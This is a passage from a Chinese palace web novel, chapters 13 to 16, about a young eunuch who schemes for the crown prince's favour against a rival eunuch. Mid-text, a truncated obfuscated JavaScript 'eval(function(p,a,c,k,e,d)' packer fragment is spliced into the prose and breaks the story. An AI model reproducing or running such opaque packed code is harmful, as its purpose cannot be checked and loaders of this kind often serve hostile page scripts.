卿云笑道:“长龄公公怎么能一样,我们可是同住一屋的情分。” 长龄抿唇笑了,低头继续帮他梳开湿发,“明儿个内直局的人就过来,”他从镜中看向卿云,卿云巴掌大的小脸在昏黄的铜镜中瞧着乖巧又安静,“太子殿下特意吩咐的。” 卿云假作吃惊地张了下嘴,“是吗?我倒没提呢。” “太子殿下关心你。” 长龄想着典服说的,心道哪是生得标致就能得太子宠爱呢,可这宠爱又有几时也都难说,太子年幼的时候曾极喜爱一只拂林犬,同吃同睡,最后也不过几个月便撒开了手。 东宫里的好东西太多了,源源不断叫人眼花缭乱,便是奇珍异宝、珍禽异兽也只能博得一时的青睐罢了。 卿云这个人的新鲜劲能维持多久呢?长龄也不知道。 卿云披散了湿发坐在窗前晾干,长龄整理了一些文书,也在卿云身边坐下。 两人都默默的,长龄嗅到淡淡的胰子香气,思绪不觉飘散。 “长龄公公。” 卿云趴在窗沿,歪着脸轻声道:“你是何时入的东宫?” 长龄瞥过眼,他正想着往事,神情也不自觉地带了些许怅惘,“太子何时入主的东宫,我便是何时来的东宫。” 卿云心中一紧,“那你一直都陪在太子身边了?” “嗯。” “怪不得太子那么宠爱你,将宫中许多大小事务都交由你管。” 长龄低头,浅笑道:“我也只不过管些杂务,承蒙太子殿下不弃罢了。” “不知我可有福气帮长龄公公你的忙?” 长龄看向卿云,见卿云眼睛一片澄明,他笑道:“若太子舍得,我自然是好,只怕太子舍不得你干那些粗活。” 长龄顿了顿,“等你何时闲下来,我再教你。” 卿云对长龄总是警惕,这人似是待他很好,可又时常用些怪异眼神瞧他,话里话外像是戳破他那点小心思,却又不明说,还是笑眯眯的好人样。 笑里藏刀的,卿云已经领教过了,那个常伺候太子晨起梳洗的安公公便是一个,卿云不会忘记,是他带着来喜到了太子跟前。 安公公年逾四十,也是东宫里的老人了,和长龄资历不相上下。 卿云回到太子身边伺候之后,安公公也是照旧对他笑脸相迎,如没事人一般,太子也问过了他,安公公惶恐回道:“太子殿下明鉴,老奴是听了那来喜胡言乱语,以为他真受了欺负,想着也是看着长大的孩子,心里不落忍,又没什么法子替他做主,这才……太子殿下恕罪。” 安公公竟一点不辩解,就这么认下了,太子也未真的动气,“罢了。”就这么轻轻揭过了。 卿云在一旁冷眼瞧着,琢磨了许久,日常往来察言观色,这才终于明白,安公公不是冲他来的。 东宫里头最得力的太监毫无疑问便是长龄,长龄年纪轻轻,还是个瘸子,多少人暗地里不服气,想找机会把长龄拉下马,可长龄一贯持重,又独来独往,别人也抓不到他的错处。 然而如今却是不同,卿云来了,太子让他和长龄同住,无论太子是什么意思,明面上卿云就是长龄的人。 卿云犯错,自然就是长龄犯错。 安公公那句没法子替来喜做主,意思不就是长龄在东宫的宫人当中一手遮天,他没法得罪吗? 这些道理,卿云是缓缓才想明白的,他想,那太子明不明白呢? 倘若太子明白,为何不帮着长龄? 卿云在太子身边待了几日,后又明白了,是,太子是宠爱信任长龄,可长龄顶天了也是奴才,奴才之间的事,若非真的坏了规矩,没必要多费心思,再者安公公对太子毫无隐瞒,是尽到了奴才的本分,太子自然不会责怪。 卿云一点点明悟,他看着沉默安静的长龄,心中对他嗤之以鼻,跟在太子身边这么些年,竟也没博得太子的宠爱,真是枉费了这么些年的时光。 给他时间,他一定会让太子真心实意地宠爱他,比宠爱长龄更甚。 “你头发干了吗?”长龄温声道。 卿云摸了下发尾,“还要再吹会儿。” 长龄道:“我帮你擦擦,吹久了仔细头疼。” “多谢长龄公公。” 长龄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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待到新夏衣送来,果然是又快又好,卿云穿上,更觉喜欢,到了太子跟前,太子瞧着也高兴。 “还是合身的衣服穿着好。” 李照召了卿云过去,双手掐了卿云的腰,手掌指尖竟碰在了一处,不由失笑,“怎么还是那么瘦?” 卿云腰上怕痒,忍耐道:“兴许是吃得少了。” “吃得少?” 李照抬眼看向卿云。 卿云神情仍在忍着痒,李照瞧出来了,便放开手,卿云松了口气,那模样很是天真稚气。 李照不由声音软了,“怎么便吃得少了?苦夏?” 卿云冲李照微微笑了笑,并不作答。 李照捏了下他的脸,“说话。” 卿云摸了被李照捏过的脸颊,道:“我有时回去得晚,就不剩什么了,”他又补道:“太子殿下您赏的我全吃了,就是我自个儿贪吃,总觉着饿。” 李照若有所思了片刻,似笑非笑地看向卿云,卿云眼睛只做懵懂,“太子殿下,您这里好吃的这么多,能不能以后多赏我一些,让我回去当宵夜吃。” “原来东宫还真缺衣短食了,连个奴才都吃不饱,要在我这儿打秋风,”李照悠然道,“我可要好好问问长龄。” 卿云忙帮长龄解释,“不关长龄公公的事,是我自己没照顾好自己,长龄公公平素里那么忙,也不该他照顾我。” 李照本肃着脸,瞧他那副极力惺惺作态,明明是在告黑状却还要假作无辜的模样,不由噗嗤笑出了声。 卿云正演着“懂事”呢,被李照这莫名其妙的一笑扰乱了,他不由回忆起头一回失宠便是李照忽然笑了,面上神情不自禁地忐忑起来,眼睛眨巴眨巴地瞧着李照,他越是如此,李照便越忍不住笑,笑到最后,他重又掐了下卿云的脸,起身翩然而去。 14. 第十四回 李照那一笑,让卿云忐忑了好几日,待见李照一切如常,这才终于安下心来。 “安公公好。” 卿云恭敬行礼,安公公也笑眯眯地回礼,“折煞了。” 卿云和一干人等在门口静静等着,他冷不丁道:“长龄公公今天出宫办差去了。” 安公公也以极小声回道:“是啊,他出宫采买去了。” “长龄公公原本想带上我,可惜太子这儿不放我。” “太子如今也是一日都离不开你啦。” “安公公这话才真叫折煞我了。” 里头有太监出来开门,安庆春朝后使了个眼色,众人便一起进入,安庆春还让了卿云先走,卿云也不客气,直走在前头。 李照坐在床上,一眼便瞧见卿云,笑道:“你走那么前做什么?又不会伺候。” 卿云不在那些琐事上下功夫,李照身边有的是会端茶送水、穿衣整理的太监,他便是在那些事上独占鳌头也到底没什么意思,他冲李照笑了笑,“我走前头,让太子瞧个高兴。” 太监们已经上前,李照展开手臂,让他们披上外衫,围在他身边有七八个太监,他却只看着卿云,也只有卿云敢看着他,李照道:“有这么臭美的奴才吗?” 卿云笑嘻嘻的,就这么站着,一点手不伸,待李照起身时,这才拿了一旁太监捧的玉环,他也不立马帮李照系,而是先拿在手里把玩,“殿下,这玉环是您那日救我时佩的呢。” 李照浑不记得了,瞥了一眼,“哦?”了一声,“是吗?” “我可记得真真的,伺候了太子您这么多天,可算把它盼来了。” 李照笑道:“你既这么喜欢,要不赏了你?” “太子殿下又在打趣奴才了。” 卿云收放自如,跪下替李照系玉环,他模样认真,活儿虽简单,却不马虎,那神情像是做什么天大的事。 “好了。” 卿云系完玉环,仰头冲李照笑。 李照照例是先抚了下他的鬓角,再夸他一句,“有长进。” 卿云笑道:“既有长进,能不能向太子讨个赏?” 李照将手背在身后,冲旁边一圈太监笑了笑,“瞧瞧,这小奴才,成日里一张嘴就是讨赏。” 其余太监也都凑趣地笑了笑,却也并不敢接话。 李照看向卿云,道:“你说,想要什么赏?” 卿云道:“长龄公公今日出宫玩去了,我也想去。” 李照笑了笑,“他那是去玩吗?那是去办差的。” “我从小到大还没出过宫呢。” “是吗?” 李照道:“你休沐时也在宫中?” “什么是休沐?” 卿云一句稚言叫李照哑然,李照也不是没见过比卿云年纪更小的太监,却也没得像他这般未经雕琢,连耍心计都分外愚拙,倒叫他不忍心下手修剪棱角了。 李照轻拍了下卿云的脑袋,卿云笑了笑,送李照上了轿辇,李照半倚着,斜过身对卿云道:“你乖乖的,若是不犯错,过几日我找机会带你出宫玩上一回。” 卿云连忙行礼,“多谢太子殿下。” 李照手指刮了下卿云的鼻子,又道:“要乖乖的。” 卿云笑着说他记着了。 目送李照的轿辇离去,卿云方才回身,他回身过去,正见安公公带着人要走,他轻唤了声,“安公公。” 安庆春停住脚步,原地转向卿云,笑道:“卿云小公公,何事?” “安公公,不知你是否有空闲,我有些事想请教你。” “你们先回去吧。” 安庆春对下首的几个小太监道,小太监们低着头,训练有素地撤了下去。 安庆春道:“卿云小公公,你成日里除了伴着太子便是在屋中休息,也没在东宫里头好好逛过吧?不如我带你去那边园子里逛逛?咱们边走边说?” 卿云笑道:“那自然再好不过。” 两人便一面说一面往东宫的花园走去,也亏得一个是东宫的大太监,一个是太子跟前得宠的太监,这才稍得了这点自由,否则两个太监在东宫随意行走便是不合规矩,要挨板子的。 “长龄公公真是忙,”卿云道,“我瞧他成日里不是看账本,便是盘庄子,我平素里同他连话都说不上几句。” 安庆春道:“是啊,也难为他,小小年纪肩挑了这么重的担子,不过也是太子信任他,原本这些事都该家令寺管,可太子心里头还是记着他的功劳,把那些事都交给了他办。” “功劳?” 卿云道:“是什么天大的功劳,叫太子对他如此偏爱?” 安庆春轻轻瞥了卿云一眼,见他神色好奇,便微微一笑,“这是多年前的事了,你师傅没同你提过?” 说起瑞春,卿云心中又是不大舒服,笑道:“东宫规矩大,哪是什么事都能让外人知道的呢。” 安庆春道:“这你便说对了。” 卿云再要询问,安庆春便顾左右而言他,不肯交代,卿云知晓问不出,也不强求,只和安庆春也闲谈几句,待到时候差不多,便托辞告退。 他这一番行径,原不为别的,只是试探安庆春对长龄到底如何计较,也是向安庆春透些意思,他与长龄虽同住一屋,却并不怎么相好,也算是在安庆春那埋下颗种子,且看日后有什么收获吧。 长龄傍晚回宫,将手头的事务交接清楚后便去回见太子,卿云正在一旁随侍,长龄进来后向太子行了个礼,便将今日所办差事一五一十地呈情,他只说到一半,便被李照打断,“好了,每回都那么啰嗦,你办事,我还有什么不放心的,去歇着吧。” “是。” 长龄也不多言,随即便退下。 卿云余光看向太子,李照全程虽未看长龄一眼,可便是如此,才足见信任。 长龄办差,李照从不追根究底,全放任他去,卿云从旁听着,里头钱帛牵涉甚多,李照竟也从不疑心长龄会中饱私囊。 卿云想若是那么多钱帛经他的手过,他可少不得要捞上一笔。 到底是什么样的功劳会叫太子如此信任长龄?安庆春神神秘秘的不肯说,卿云和东宫其余人也不亲近,若是当面问长龄,似又不大好。 卿云又悄悄看向了李照,李照早察觉他那双眼睛不停地往他这儿瞟,只假作不知,思来想去其实也就是个奴才罢了,便是多看两眼又如何?他也不过是想讨主子欢心,他既做了主子,合该更宽心仁厚才是。 只这小太监还另有逗趣之处,便是喜好拈酸吃醋,时不时便要告长龄的状,急着分宠似的,李照觉着有趣,又想卿云不过孩子心性,便纵着他去,也是看个新鲜,横竖也不妨碍什么,此时便兴致勃勃地等着卿云如何作怪。 卿云浑然不知他李照面前给长龄上眼药的那点心思早已被看穿,心中犹疑着要不要从太子这儿旁敲侧击出什么,又拿不住太子的性子,怕万一惹恼了李照反倒不美,于是只试探道:“太子殿下对长龄公公真是信任,叫我好生羡慕。” 李照终于等得卿云发作,嘴角方才想笑又压住了,淡淡道:“是么?我对你难道不信任么?”他一面说,一面摊开手,他正在处理公事,那公文就大剌剌地现在卿云面前,“这么机密的东西都由得你瞧了。” 卿云撇了撇嘴,“太子欺负我。” 李照道:“这从何说起?” 卿云瞥他,从他神色上瞧不出什么,便轻声似撒娇又似埋怨道:“我又不识字。” 李照哈哈大笑,他笑声爽朗,叫卿云脸都气红了。 被李照罚过那一次后,卿云对李照便再无当初那一点点的好意,心中原还是恨李照,只是强压着,恨也当作不恨。 李照见他脸红,以为他是羞愧,又见他腮若桃花,很是可爱,便道:“是我太忙了,忘了要教你写字。” “太子事忙,不敢叨扰,”卿云道,“我也想长进,想跟长龄公公学着认字,可惜长龄公公便是不肯教,殿下,长龄公公的字是你教的吗?” 李照微微收敛了笑意,“不是。” 卿云道:“那长龄公公怎识得字,又会看又会写的,不是说宫中太监不学那些吗?” 李照轻垂下眼睫,再抬起眼时,卿云便浑身一紧,那日转瞬被李照厌弃的情景重又回到他脑海中,他心下不由揪了,内心既胆怯又惶恐,他几是想也没想地便靠近了李照,手先抓了李照的袖子,紧张道:“殿下,是奴才多嘴了,您别动气。” 李照原未动气,见卿云这般紧张,又想起卿云方才来东宫时那百无禁忌的机灵样,心下微微一动,干脆手揽了卿云,让他在他腿上坐下,“我没有生气。” 卿云仔仔细细地瞧了一遍李照的面容,方才笑了笑,他笑得小心,李照心头又是一动,抓了卿云的两条胳膊捋了捋,道:“孤也不是动不动便翻脸发火的人,你放心,以后便是你说错了什么,孤也不会再跟你计较。” 卿云觉着李照这话说得忒新鲜,他上回也没说错什么啊,李照还不是照样翻脸无情。 卿云轻轻地一点头,心中嗤之以鼻。 李照瞧他小小的一个人,安静时真是乖乖的,一颗心也是好的,这些不就足够了吗?上回罚他,是他坏了东宫的规矩,想必也长了记性,再不敢轻狂了。 “你真想学认字?”李照轻声道。 卿云忙不迭地点头,“想学,”他抓了李照的袖子不住看他,“殿下,我真的想学。” 李照莞尔,“好吧,那么我便教你。” “真的吗?”卿云眼睛亮了一瞬,又黯淡下去,“可是太子你事忙……” “事再忙,每日拨出一盏茶的功夫还是有的,教你也足够了,”李照手指点了下他的鼻尖,“只一样,我既教你,你便要认真学,不可半途而废。” “那是自然!” 卿云扭身想给李照谢恩,李照搂着他笑:“别乱晃,要掉下去了,来吧,这公文我也不看了,先再教你两个字。” 卿云伸手替李照收拾公文,收拾了一半,又扭头道:“殿下,那以后我学会了认字,是不是就不能在你跟前伺候了?” 李照微微一笑,“那是自然,这么些机密紧要的公文可不能随意被人看去。” 卿云脸色顿时为难起来,李照道:“如何?还学不学?” 卿云盯着李照的脸认真瞧了一会儿,随即便莞尔一笑,“太子你又逗我。” 李照却是脸色不变,“你怎知道我是在逗你?” 卿云不慌不忙道:“太子方才还说信任我,可不是在逗我吗?” 李照这才笑了,他捏了下卿云的脸,“不错,有长进,越来越识逗了。” 卿云心道他在他身边也几个月了,再没长进,何时才能成为东宫最得宠的太监? “上回我教了你什么?” “只一个‘人’字。” “哦,那我也是教了你最根本的了。” 李照把卿云摆正,人微微向后靠了,让卿云能正面写字,只这一来,他忽得闻到一阵芳香,他低头轻嗅了一下,“你洗头发了?” “嗯,我日日都洗呢。” “不错,喜好洁净是个好习惯,”李照手指了笔套,“自个儿挑一支,挑中了就不再换了,以后就是你的笔了。” 卿云看着那青玉制的笔套,里头一支支笔,他虽不认得,却也知道名贵,他忍不住回头道:“太子殿下这算赏我的吗?” 李照笑道:“你成日里就知道讨赏。” 卿云垂了下脸,仿佛不好意思似的,李照越发觉得他可人,便又捏了下他的脸,“成,算赏你的。” 卿云学写了几个字,他记性不错,李照当即考他,他全都会,李照不住夸他,叫人进来将他笔装了,真赏给了卿云。 卿云抱着李照的笔回去,心中得意非常,惠妃曾说过,她争宠便靠一个字,缠。 皇帝一日的时辰是有限的,多在她身边待一会儿,便会多宠爱她一分。 如今太子既承诺每日都要教他练字,那他要得到比长龄更多的宠爱岂不又多了几分希望? 屋内烛光亮着,卿云推开门时,长龄正在烛下写字,他一抬头见卿云怀里抱着东西便笑了,“太子又赏你什么好东西了?” 卿云在长龄面前到底收敛了几分,只淡笑道:“太子殿下赏我支笔,终于是肯教我写字了。” 长龄面上笑容一顿,随即点头道:“太子殿下肯教你,是你的福气,可要认真学。” “那是自然。” 卿云将笔放在床上,余光瞥着长龄,觉着他神色似有隐情,又想起太子今日反应,心道长龄的字到底是不是太子教的?他觉着不大像,两人的字不同。这么说来……他应当是太子唯一教授写字的人了,卿云转过脸,背着长龄冷冷一笑。只要能博得太子的宠爱,他何愁不能也活成长龄这般? 15. [8.1更新] 第十五回 卿云自得李照教导习字之后,在东宫里越发得意,他失宠过一回,便着意邀买人心,想来喜虽出了东宫,总有好些人先前与他作伴,难保不会暗中恨他,又想起膳房里那个名为“得全”的小太监处事还算公正,为他说过两句话,便留心着想与他交好。 哪知得全是个滑不丢手的性子,只想着在东宫明哲保身,又见卿云得宠非常,怕他日后登高跌重,连累自个儿,也只略说几句话罢了,不想趟这浑水,旁人也都如此。 卿云没料他在东宫竟寻不得一人来拉拢,不免心中又惶惶,想自己怕只能扒着太子了,一时又想到尺素与瑞春,若非这两人将他长困玉荷宫,他也如其他小太监一般,早早与人结交,在宫里也能有个照应,强过如今孤零零一个,眼看着得宠,谁知哪日遭太子厌弃,又是惨淡潦倒。 若说东宫里谁与他交好,那便只有长龄了。 当日他落难,长龄替他求情,说是全为了自己,那卿云也不能那样想,倒不是他瞧出了长龄的好意,而是觉着以长龄在太子那的宠爱,便是安公公发落了他,长龄那儿也没什么。 卿云虽是想明白了其中利害关系,对长龄的心倒也没变。 一是卿云从小那般长大,心自多疑,总不肯轻易信了谁,再是卿云对长龄心怀妒恨,成日里想着要取而代之,哪会真就领了长龄的情?只心中还忿忿,倘若换了他得太子宠爱,长龄犯错,他也一句两句地把人救出来,才叫遂了他的心愿。 可叹自个儿在东宫实在孤立无援,除了太子,也只好与长龄多交好些。 长龄对卿云一贯便好,这厢卿云也肯敷衍,两边倒是表面看着愈发要好了。 今年夏日尤为炎热难捱,往年太子都会赏赐冰鉴给长龄屋里用,长龄自知身份卑微,坚辞不要,不愿太过显眼,今年屋里多了个卿云,太子要赏,他便应了。 太子也笑:“好在你乖觉,若你非辞,怕要热坏卿云,我瞧他每回来时,脸上都是汗。” 长龄笑道:“他是受不住热。” 太子道:“也是奇了,他在玉荷宫里缺衣少食的,怎养得出这一身娇贵皮肉?” 长龄道:“那是天赐的福气,知晓有一日会到太子您这儿享福来了。” 太子赏的冰鉴又大又沉,四个太监抬进屋,“咚”的一声落地。 “长龄公公,卿云小公公,太子殿下吩咐了,早晚来给这屋里换一回冰,总不叫您二位热着。” “太子殿下恩德,我们领受了。” 长龄一面说一面从袖子里掏了钱来给四人,请他们吃茶,卿云也一并拿钱给了他们,四人千恩万谢地出去,替两人带上了门,卿云欢喜着往冰鉴处去,拿手扇了扇,“好凉快,这下夜里终于能安眠了。” 长龄微微一笑,“这便好了。” 屋里头入夏以来早已焕然一新,都一应换全了,旁的太监进来都要大吃一惊,心说这屋里的东西可不是奴才能消受的,实在也和一些主子差不了多少。 两人正说说笑笑时,又有人来扣门,说太子赏了宵夜。 卿云连忙开门,两个太监提了食盒进来,又是好一顿奉承,长龄和卿云也都又包了钱给那俩小太监。 食盒里头装的是一碟金铃炙,一碗冰镇的长生粥,卿云那里还多一份绣丸肉,他一面端起那一盅绣丸肉,一面对长龄笑,“太子殿下也真是的,大晚上的还让我吃这些荤腥。” “都是费心思的呢,这也不腻,”长龄笑道,“你年纪小,正是长身子的时候,合该多吃,我是沾了你的光了。” 卿云笑而不语,两人把宵夜吃完,梳洗一番之后,长龄帮卿云梳头,卿云低着头打络子,这是他新学会的,手不大熟,编了又拆,拆了又编,只当玩耍,长龄见状,低声指点了他几句,卿云便照他说的去做,果然好些。 “你是个手巧的,”长龄在心中轻叹了口气,“只是前些年耽误了。” 卿云手指一顿,未料自己心事竟会被长龄说中,低头强笑道:“哪会,玉荷宫虽清苦,倒也清净。” “这也是。” 长龄低低道:“如今你在东宫,眼看太子又这般宠你,可要小心谨慎,再莫行差踏错半步。” 卿云手指绕着丝线,他微微一笑,轻声道:“若我真犯了错,长龄,你肯救我吗?” 长龄拿着梳子的手一顿,他轻眨了下眼睛,“别说那些不吉利的。” 卿云心中哂笑,乖乖道:“是。” 掌心青丝如瀑,长龄垂眼瞧着,轻声道:“平安最好,你是有福之人。” 自入东宫以来,短短几月,卿云便经历了大起大落,对这些话已全然看淡,闻言也只是淡淡一笑,低头绕了手中的丝线。 * 翌日傍晚,太子教卿云写字时,卿云便道:“殿下,我有个不情之请。” “嗯?”李照握着卿云的手专心教他运笔,“什么?” “请殿下以后少些赏赐。” 李照听罢便笑了,手里动作停了,他侧过脸看向卿云,也不言语,单只是笑。 卿云也撑着不动。 “这我倒不明白了,”李照含笑道,“往日不都吵着闹着要这要那的吗?” 卿云抿了下嘴唇,“我几时如此?殿下莫要胡说。” 李照放了手,细细打量卿云,“怎么?谁给你闲气受了?” 卿云眨了两下眼睛,倒也十分纯真惊疑,“太子怎会这般想?我平素只与长龄公公来往。” 李照淡笑道:“说不准便是长龄欺负你呢?” 李照以为卿云又要演往常演的那出,便放松地瞧他做戏。 “倒不是为那些,而是……”卿云面色罕见地忸怩起来,倒叫李照好奇他今日又有什么新花样。 “是什么?” 李照道,见卿云还在拿腔捏调,便捏了下他的后颈,“吊主子的胃口,你胆子可是越来越大了。” 卿云后颈比腰上还怕痒,被李照拿出便忍不住扭着笑,“殿下你要先赦我无罪,我才敢说。” 李照笑眯眯道:“偏不赦,你忍着吧。” 卿云哪忍得住,连连笑着要李照放手,李照瞧他扭来扭去的正有趣,才不肯撒手,“今日还不许你说了。”他一面说,一面另一手捂了卿云的嘴,卿云笑得身上汗都出来了,“唔唔”告饶,李照瞧他脸颊绯红,面庞上也渗出了汗珠,这才放手,他一放手,卿云立刻跳出了出去,手捂了后颈,面颊绯红地瞧着李照,一双眼似怨似嗔,“殿下,你太坏了。” 李照哈哈一笑,“你可是第一个这么说孤的人。” 卿云放下手,脸色也正经了,双手捏在身前,瞧李照现正高兴,便道:“太子殿下您每回赏赐些什么,遣人送来,我总不好叫人那么空手回去,本得了赏,也该叫别人也高兴高兴,只是我手头不像长龄公公那么阔,又不能真少了他们的,”卿云试探地看着李照,“我如今那点月钱全散出去还不够呢。” 这一场戏,倒是李照没想到的。 李照淡笑着看向卿云,“这么说来,我是该少赏你一些。” 卿云面色一僵,复又笑道:“多谢太子体恤。” “练字吧。” 李照道,“自己写两个,我瞧瞧。” 卿云只能转身,手握了笔写字,真只写了两个字,便回头看李照。 李照单手撑着额头淡笑道:“你自己说说,写得如何?” 卿云抿唇不言。 李照道:“怎么不说话?” 卿云转过脸,只安静写字。 李照饶有兴致地瞧着他绷紧的侧脸,双眼难掩笑意,视线垂下,“心浮气躁,错落失调。” 卿云笔顿住,墨印在纸上晕染开,一篇字全都毁了,他满心怨气,既恨李照捉弄他,又恨自己不自量力,明知李照对长龄信任非同寻常,偏要自讨苦吃。 “长龄公公的字写得好。”卿云轻声道。 李照再也按捺不住,笑声爽朗,传遍书房,卿云回身望去,只见李照人仰靠在椅子上,笑得舒展肆意,那眼微微眯起,瞧卿云的模样更是忍俊不禁,李照一面笑一面捏了卿云的脸,“你呀,真是……” 李照话还未说完,门外便有太监通报。 “启禀太子殿下,皇上急召您过去议事。” 李照立即收敛笑意,放下了手,推开卿云起身,“进来。” 几个太监鱼贯而入,急急地帮李照整理仪容,卿云立在原地,在一旁看着也插不上手,李照很快便走,几个太监匆匆跟上,卿云独自站在书房里,抬手摸了下脸,他不知为何,怔怔瞧了桌上成堆的公文,心里头却是闷闷的。 一直等到傍晚,李照都没回来,卿云本该回去,可他想了想,还是留了下来。 比之长龄,他有什么可取,也便是能逗李照一乐了,虽然他也不知李照何时会因他的言行而乐,何时又会适得其反,惹得李照翻脸。 便如惠妃所说,伴君如伴虎,也如长龄所说,若是怕,便安分些,安安稳稳地做个小奴才也就罢了。 可他在玉荷宫里苦熬了这么些年,从那么小一点儿日夜哭着数过来日子,就为了只做个小奴才? 这么些年,唯一支撑卿云熬下去的便只有四个字——出人头地。 太子不在,卿云也不敢坐,他如今也算是练出来了,站个一天一夜也能忍住,其实仔细想想,比起在玉荷宫里所受的那些苦,这也真算不上什么。 天渐渐黑了,小太监们进来点灯,也不敢乱看,知道卿云没走,也不说话,只管干好自己的事。 卿云瞧着他们忙进忙出,心说安分的奴才便是如此了,每日忙忙碌碌,也不知何时是头。 “太子殿下回来了吗?” 门外忽然传来人问话的声音,卿云听着像是长龄。 书房门被推开,果然是长龄,手提着灯笼进来,对卿云道:“太子殿下在太极殿议事,怕是要晚归了,你跟我回去吧。” 卿云神色平静道:“殿下让我这儿等他。” 长龄一怔,他回头看向屋外的小太监,小太监们皆垂首静立,长龄迟疑许久,再又看向卿云,见卿云神色如常,他欲出言说些什么,又生生给咽了回去。 卿云立在书桌前,书桌旁点了灯,烛火摇曳,长龄立在门口,手里的灯笼散发着幽幽的光芒,两人于微光中遥遥相望。 “好。” 长龄轻应了一声,回身带上门,他提着灯笼走出了几步,才招手让门口的小太监过来。 “若是出了什么事,你立即来报。”长龄一贯待人温和,此时语气稍稍肃然些,便令人不由提肩直腰,“是。” 长龄回首望向亮灯的书房,心中轻揪了,又轻轻地叹了口气,回到屋内亦不敢安眠。 再说太子李照这头,一入太极殿,皇帝便让太监传递了折子与他和齐王分别观看,原是新派去丹州的巡察使传回的密信。 李照与李崇看完后,俱都默默的。 皇帝道:“张文康折子上写的,你们怎么看?” 李照道:“父皇明鉴,张大人处事一向审慎,他既如此说来,怕是丹州真的不好。” “嗯,齐王你说呢?” 李崇拱手道:“儿臣愿往丹州,助张大人一臂之力。” 李照看向李崇,他这兄长比他大三天,原也其实算不得比他年长,只行事冷峻,倒是有兄长之风。 皇帝道:“丹州之祸,非朝夕所铸,无量心,朕若交给你办,你能办好吗?” “儿臣必定全力以赴,不让父皇失望。” 皇帝道:“你是朕的好儿子,朕从不对你失望。” 于是皇帝又召来几位大臣,如此这般商议到了夜里,这才放了众人。 李照与李崇一同出宫,两侧太监侍卫提着灯,将漆黑的宫道照得如同白昼。 “兄长此去丹州,可要小心。” “我知道。” “丹州局势混乱,深不可测,兄长不妨先隐瞒身份,秘密前往。” “我也正有此意。” 李照沉默片刻后轻轻笑了笑,“今日难得兄长与我意见相同。” 李崇手负在身后,宫道深长,他淡淡道:“与国事之上,我也只是就事论事。” 李照笑了笑,不多争辩。 一开始,皇帝便属意要让齐王前往丹州,李照一早便看明白了,他想李崇也是。 皇帝只有他们两位皇子,丹州之行,必定危险重重,他是太子,即便想去,也是不能够的。 二人在朱明门分道扬镳,李照想着丹州的事务,思绪不断飘远,及到进了书房,都未曾在意书房里卿云还在,自顾自地在榻上躺下,面容平静地思索着。 卿云好不容易等到李照回来,见李照对他视若无物,心中已开始忐忑,再见李照那“无人”时的神情竟是比平时更叫人难以捉摸,不由怕了三分。 卿云不敢轻举妄动,只默默站着。 李照躺在软榻上思前想后,终无定论,起身要唤人时,方瞧见地上斜斜的影子,他一抬脸,却见卿云正立在不远处,一双明眸怯生生地瞧着他,他视线一扫来,卿云便跪了下去,“殿下……” “你怎么在这儿?” 李照语气平和,然而卿云丝毫不敢放松,他轻声道:“太子殿下走的匆忙,未曾让我退下,我……”卿云抬了下眼望向李照,“殿下让我不要半途而废,今日字还未练完。” 李照心思繁乱,原只想一个人静静,也不想对卿云发火,上回的事,一次便够了,其实也不算什么真火,他想要个不那么守规矩的在身边解闷,便也得不能对人太过苛刻才是。 李照沉默时,卿云心中已又弥漫上那时的不祥之感,可又不肯罢手,富贵险中求,他总不会一直毫无长进,于是道:“殿下在宫中议事这么久,饿了吧?”他冲李照莞尔一笑,“昨夜殿下你赏我的那道绣丸肉真是好吃。” 李照见他笑眼明亮,在烛光中明眸可人,又满嘴的贪食之言,也淡淡一笑,“这荤腥东西,也只有像你这样的小孩子夜里才吃得下了,过来。” 卿云起身过去,也不敢放松,李照歪躺下去,拍了拍身侧,卿云这才坐下,眼眨也不眨地看着李照,他直觉李照有话想说。 “你知道为何建听凤池吗?”李照道。 “自然,先皇后恩德惠下,皇上怀念,也是为丹州大旱祈福。”卿云轻快道。 李照半靠在软榻上,屈起一条腿,他低头看到卿云的手,便抓来看,“你这手倒像个奴才。” 卿云的手又白又纤细,还很柔软,只掌心里生了许多厚厚的茧,手背上也有些旧疤痕残余。 卿云低声道:“我原本就是奴才。” 李照听他声音低落,笑了笑,“做孤的奴才可还委屈你了。” “太子殿下又打趣人。” 李照笑着轻抚卿云的手,他神色悠然,片刻之后,又凝神看向卿云,问道:“丹州大旱,你说,孤去丹州赈灾如何?” 卿云脸色陡然一变,“真的吗?殿下要去丹州?!” 李照瞧他模样,心中思虑倒先放在一旁,撑起身往后坐了坐,“怎么?你觉着不好?” 卿云道:“自然不好。” 李照道:“为何?” 卿云道:“殿下不在东宫,若是有人欺负我,便没人给我做主了。” 李照不由露齿而笑,“你这奴才,心眼忒小,就只想着自个儿?” 卿云也笑了,“我也是舍不得太子殿下您去那么个地方吃苦受罪呀,您有的是奴才,那些事让奴才去办就好了,您何苦还要亲力亲为呢?” 李照沉默片刻,忽地挑了挑眉毛,视线打量了卿云纯稚面庞,轻笑着摇了摇头,手攥了下卿云的手,“孩子话。” “来人。” 李照轻唤一声,外头太监立即进来应答。 “备水,孤要睡了,”他看着卿云道,“今儿夜里,你留在寝殿守夜。” 16.第十六回 东宫守夜,一夜共有七十二个太监,分三批轮班,里头都是机灵人,卿云这么个“糊涂人”,李照不放心让他替了谁,也免得又惹出些事来,他所谓的让卿云在寝殿“守夜”,便是让卿云抱着一床被子睡在他床榻下头,让卿云陪他说说话罢了。 “今儿个没练好字,明天可得补上。” “那可要看殿下您空闲多不多了。” “我真成你的习字师傅了?还得时时督着你,自己回屋多用功。” “……” 卿云拥着被子,幸好天热,否则这地面冰凉的地砖可真得把他冻坏,他心里头虽不满意睡在地上,却也知道这可是太子给的恩典,天大的脸面,便凑趣地一直应着李照的话。 不知过了多久,床榻之上,李照不再出言,卿云听着上头安静了,便拥着被子站起身,打量了李照一番,见他睡着了,这才也躺下,只是地上硬,一旁冰鉴散发着幽幽的凉气,这般凉上加凉,倒让卿云在酷暑时分竟生出了些许寒意。 卿云只得又抱着被子站起身,朝榻上又看了一眼,见李照正闭目安睡,便拥着被子往外头的软榻上去睡,只是方才躺下不久,又觉着热,燥热不已地翻了两个身,无奈又跑回李照床下去,心中不由嘟囔,这叫什么恩典。 卿云正裹着被子难受,便听床榻上“噗嗤”一声笑,他忙坐起身,只见李照笑容满面,虽闭着眼,可哪是睡着的模样? 卿云脸立时红了,又羞又气,“太子殿下您没睡着啊。” 